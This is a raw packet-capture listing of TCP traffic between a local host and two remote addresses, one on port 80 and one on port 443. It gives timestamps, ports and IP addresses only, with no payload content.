Dec 6, 2024 22:08:57.797540903 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.798789978 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.798801899 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.798837900 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.799674034 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.799685955 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.799731970 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.800550938 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.800561905 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.800597906 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.800615072 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.801441908 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.801541090 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.802362919 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.802375078 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.802412033 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.802428007 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.917009115 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.917140961 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.917227983 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.917272091 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.917684078 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.917732000 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.918126106 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.918191910 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.918554068 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.918602943 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.918997049 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.919053078 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.919449091 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.919464111 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.919497013 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.919517040 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.920298100 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.920345068 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.920733929 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.920778036 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.921202898 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.921221018 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.921260118 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.922055960 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.922103882 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.922554016 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.922604084 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.923806906 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.923820019 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.923851967 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.923873901 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.924710989 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.924729109 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.924762011 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.924782991 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.925679922 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.925693035 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.925729990 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.926646948 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.926662922 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.926700115 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.927489042 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.927500963 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.927537918 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.928373098 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.928390026 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.928420067 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.928440094 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.929240942 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.929255009 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.929284096 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.929306030 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.930114985 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.930126905 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.930162907 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.930183887 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.930994034 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.931005955 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.931041002 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.931865931 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.931878090 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.931914091 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.931932926 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.933815002 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.933828115 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.933865070 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.933887959 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.934750080 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.934770107 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.934801102 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.934817076 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.935760021 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.935772896 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.935811996 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.936748028 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.936764002 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.936803102 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.937673092 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.937685966 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.937695980 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:57.937728882 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.937752008 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:57.986531019 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.986547947 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.986685038 CET	49810	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.986737967 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.986900091 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.986943960 CET	49810	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.986988068 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.987000942 CET	49810	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.987000942 CET	49810	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.987010002 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.987015963 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.990220070 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.990256071 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.990415096 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.990509987 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:57.990524054 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.997693062 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.997745991 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:57.997803926 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.005588055 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.005608082 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.005620003 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.005625963 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.009330034 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.009377956 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.009464979 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.009675026 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.009691000 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.041711092 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.041847944 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.041918039 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.041963100 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.042376041 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.042423964 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.042875051 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.042921066 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.043256044 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.043301105 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.043673992 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.043716908 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.043909073 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.043952942 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.044374943 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.044418097 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.044848919 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.044861078 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.044900894 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.045692921 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.045742989 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.046097040 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.046143055 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.046575069 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.046586990 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.046624899 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.047418118 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.047470093 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.047848940 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.047893047 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.048321009 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.048331976 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.048369884 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.049196005 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.049206972 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.049246073 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.050118923 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.050129890 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.050175905 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.051042080 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.051054001 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.051095009 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.052023888 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.052036047 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.052076101 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.052900076 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.052901983 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.052944899 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.053694010 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.053705931 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.053744078 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.054486036 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.054497957 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.054538012 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.055459023 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.055471897 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.055516958 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.056365013 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.056380987 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.056418896 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.056448936 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.057133913 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.057151079 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.057189941 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.057204962 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.057988882 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.058001041 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.058043957 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.058841944 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.058854103 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.058897972 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.059710979 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.059722900 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.059772015 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.060580015 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.060590982 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.060633898 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.061448097 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.061460018 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.061499119 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.062334061 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.062346935 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.062387943 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.063229084 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.063241005 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.063277960 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.064116955 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.064130068 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.064169884 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.065021038 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.065032959 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.065077066 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.065869093 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.065881014 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.065916061 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.066731930 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.066744089 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.066788912 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.067662954 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.067673922 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.067713976 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.068507910 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.068527937 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.068555117 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.068579912 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.069545984 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.069557905 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.069601059 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.109047890 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.109261036 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.109275103 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.109312057 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.109730005 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.109781027 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.110166073 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.110208988 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.110588074 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.110630989 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.110992908 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.111037016 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.111251116 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.111290932 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.111692905 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.111735106 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.112155914 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.112168074 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.112204075 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.113033056 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.113075972 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.113475084 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.113518000 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.113928080 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.113940001 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.113972902 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.114763021 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.114804029 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.115242004 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.115252972 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.115288019 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.116089106 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.116132021 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.116579056 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.116590977 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.116657972 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.117424965 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.117436886 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.117472887 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.118329048 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.118340969 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.118375063 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.173310041 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.173449993 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.173536062 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.173587084 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.173976898 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.174022913 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.174422026 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.174463034 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.174850941 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.174894094 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.175343037 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.175390005 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.175746918 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.175761938 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.175787926 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.175806999 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.176606894 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.176652908 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.177047014 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.177088976 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.177508116 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.177520037 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.177556038 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.178347111 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.178389072 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.178780079 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.178822041 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.179246902 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.179263115 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.179284096 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.179307938 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.180124998 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.180135965 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.180165052 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.181011915 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.181022882 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.181058884 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.181909084 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.181952953 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.197911024 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.197964907 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.198012114 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.198250055 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.198265076 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.198275089 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.198278904 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.201528072 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.201549053 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.201628923 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.201829910 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.201842070 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.204106092 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.204127073 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.204175949 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.204209089 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.204241991 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.204324007 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.204329967 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.204345942 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.204468966 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.204498053 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.204531908 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.205954075 CET	443	49814	13.107.246.63	192.168.2.7
